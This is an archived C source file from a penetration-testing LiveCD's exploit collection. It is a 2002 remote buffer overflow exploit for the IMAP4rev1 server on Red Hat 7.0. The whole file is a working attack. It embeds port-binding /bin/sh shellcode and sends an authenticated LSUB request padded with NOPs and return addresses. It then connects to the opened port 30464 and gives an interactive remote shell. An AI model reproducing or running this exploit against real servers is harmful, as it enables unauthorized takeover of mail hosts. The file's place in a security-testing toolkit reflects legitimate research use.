home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imaplsub-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  215 lines
  1. /*
  2. ------------------------------------------------------------------------------
  3. Web:  http://qb0x.net                           Author: Gabriel A. Maggiotti
  4. Date: Aug 01, 2002                            E-mail: gmaggiot@ciudad.com.ar
  5. ------------------------------------------------------------------------------
  6.  
  7. Redhat 7.0 remote buffer overflow exploit for IMAP4rev1 prior to v10.234
  8.  
  9.  
  10. */
  11.  
  12.  
  13. #include <stdio.h>
  14. #include <string.h>
  15. #include <stdlib.h>
  16. #include <errno.h>
  17. #include <string.h>
  18. #include <netdb.h>
  19. #include <sys/types.h>
  20. #include <netinet/in.h>
  21. #include <sys/socket.h>
  22. #include <sys/wait.h>
  23. #include <unistd.h>
  24. #include <fcntl.h>
  25.  
  26. #define MAX     1200
  27. #define MYPORT   143
  28. #define PORT    30464
  29.  
  30. #define OFFSET 1080
  31. #define NOP 0x90
  32. #define RET 0xbffd8940 - OFFSET
  33.  
  34.  
  35. char shellcode[]=
  36.         "\x31\xc0"                      /* xorl %eax,%eax        */
  37.         "\xb0\x02"                      /* movb $0x2,%al         */
  38.         "\xcd\x80"                      /* int $0x80             */
  39.         "\x85\xc0"                      /* testl %eax,%eax       */
  40.         "\x75\x43"                      /* jne 0x43              */
  41.         "\xeb\x43"                      /* jmp 0x43              */
  42.         "\x5e"                          /* popl %esi             */
  43.         "\x31\xc0"                      /* xorl %eax,%eax        */
  44.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  45.         "\x89\xf1"                      /* movl %esi,%ecx        */
  46.         "\xb0\x02"                      /* movb $0x2,%al         */
  47.         "\x89\x06"                      /* movl %eax,(%esi)      */
  48.         "\xb0\x01"                      /* movb $0x1,%al         */
  49.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  50.         "\xb0\x06"                      /* movb $0x6,%al         */
  51.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  52.         "\xb0\x66"                      /* movb $0x66,%al        */
  53.         "\xb3\x01"                      /* movb $0x1,%bl         */
  54.         "\xcd\x80"                      /* int $0x80             */
  55.         "\x89\x06"                      /* movl %eax,(%esi)      */
  56.         "\xb0\x02"                      /* movb $0x2,%al         */
  57.         "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
  58.         "\xb0\x77"                      /* movb $0x77,%al        */
  59.         "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
  60.         "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
  61.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  62.         "\x31\xc0"                      /* xorl %eax,%eax        */
  63.         "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
  64.         "\xb0\x10"                      /* movb $0x10,%al        */
  65.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  66.         "\xb0\x66"                      /* movb $0x66,%al        */
  67.         "\xb3\x02"                      /* movb $0x2,%bl         */
  68.         "\xcd\x80"                      /* int $0x80             */
  69.         "\xeb\x04"                      /* jmp 0x4               */
  70.         "\xeb\x55"                      /* jmp 0x55              */
  71.         "\xeb\x5b"                      /* jmp 0x5b              */
  72.         "\xb0\x01"                      /* movb $0x1,%al         */
  73.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  74.         "\xb0\x66"                      /* movb $0x66,%al        */
  75.         "\xb3\x04"                      /* movb $0x4,%bl         */
  76.         "\xcd\x80"                      /* int $0x80             */
  77.         "\x31\xc0"                      /* xorl %eax,%eax        */
  78.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  79.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  80.         "\xb0\x66"                      /* movb $0x66,%al        */
  81.         "\xb3\x05"                      /* movb $0x5,%bl         */
  82.         "\xcd\x80"                      /* int $0x80             */
  83.         "\x88\xc3"                      /* movb %al,%bl          */
  84.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  85.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  86.         "\xcd\x80"                      /* int $0x80             */
  87.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  88.         "\xb1\x01"                      /* movb $0x1,%cl         */
  89.         "\xcd\x80"                      /* int $0x80             */
  90.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  91.         "\xb1\x02"                      /* movb $0x2,%cl         */
  92.         "\xcd\x80"                      /* int $0x80             */
  93.         "\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
  94.         "\x89\x06"                      /* movl %eax,(%esi)      */
  95.         "\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
  96.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  97.         "\x31\xc0"                      /* xorl %eax,%eax        */
  98.         "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  99.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  100.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  101.         "\xb0\x0b"                      /* movb $0xb,%al         */
  102.         "\x89\xf3"                      /* movl %esi,%ebx        */
  103.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  104.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  105.         "\xcd\x80"                      /* int $0x80             */
  106.         "\x31\xc0"                      /* xorl %eax,%eax        */
  107.         "\xb0\x01"                      /* movb $0x1,%al         */
  108.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  109.         "\xcd\x80"                      /* int $0x80             */
  110.         "\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
  111.  
  112. main(int argc, char *argv[])
  113. {
  114.     int i=0;
  115.     char buf[MAX];
  116.     int sockfd;
  117.     int numbytes;
  118.  
  119.     struct hostent *he;
  120.     struct sockaddr_in their_addr;
  121.  
  122.     if(argc!=4)
  123.     {
  124.         fprintf(stderr,"usage:%s <hostname> <user> <pass>\n",argv[0]);
  125.         exit(1);
  126.     }
  127.  
  128.     if((he=gethostbyname(argv[1]))==NULL)
  129.     {
  130.         perror("gethostbyname");
  131.         exit(1);
  132.     }
  133.  
  134.     if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
  135.         perror("socket"); exit(1);
  136.     }
  137.  
  138.     their_addr.sin_family=AF_INET;
  139.     their_addr.sin_port=htons(MYPORT);
  140.     their_addr.sin_addr=*((struct in_addr*)he->h_addr);
  141.     bzero(&(their_addr.sin_zero),8);
  142.  
  143.     if( connect(sockfd,(struct sockaddr*)&their_addr,\
  144.                  sizeof(struct sockaddr))==-1)
  145.     {
  146.         perror("connect");
  147.         exit(1);
  148.     }
  149.  
  150.     sprintf(buf,"1 LOGIN %s %s\r\n1 LSUB \"\" {1064}\r\n",argv[2],argv[3]);
  151.     printf("%s",buf);
  152.  
  153.     for(i=0;i<=OFFSET -1 ;i++)
  154.         buf[i]=NOP;
  155.     for(;i<OFFSET+32;i+=4)
  156.     *(int *) &buf[i] = RET;
  157. //    *(int *) &buf[i+=4] = RET1;
  158.     memcpy(buf+100,shellcode,strlen(shellcode));
  159.  
  160.     if( send(sockfd,buf,strlen(buf),0) ==-1)
  161.     {
  162.         perror("send");
  163.         exit(0);
  164.     }
  165.  
  166.     close(sockfd);
  167.  
  168. /***************** second connection  ************************/
  169.     sleep(2);
  170.  
  171.     if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
  172.         perror("socket"); exit(1);
  173.     }
  174.  
  175.     their_addr.sin_family=AF_INET;
  176.     their_addr.sin_port=htons(PORT);
  177.     their_addr.sin_addr=*((struct in_addr*)he->h_addr);
  178.     bzero(&(their_addr.sin_zero),8);
  179.  
  180.     if( connect(sockfd,(struct sockaddr*)&their_addr,\
  181.                  sizeof(struct sockaddr))==-1)
  182.     {
  183.             perror("connect");
  184.          exit(1);
  185.     }
  186.  
  187.        printf("sh> ");
  188.     while(1)
  189.     {
  190.         buf[0]='\0';
  191.         fgets(buf,MAX-1,stdin);
  192.         sprintf(buf,"%s \n",buf);
  193.         //printf("%s\n",buf);
  194.         if( send(sockfd,buf,strlen(buf),0) ==-1)
  195.         {
  196.                 perror("send");
  197.                 exit(0);
  198.         }
  199.  
  200.         buf[0]='\0';
  201.         if( (numbytes=recv(sockfd,buf,MAX,0))==-1 ) {
  202.                 perror("recv");
  203.                 exit(1);
  204.             }
  205.  
  206.         buf[numbytes]='\0';
  207.            printf("%s\nsh> ",buf);
  208.  
  209.     }
  210.     close(sockfd);
  211.  
  212. return 0;
  213. }
  214.  
  215.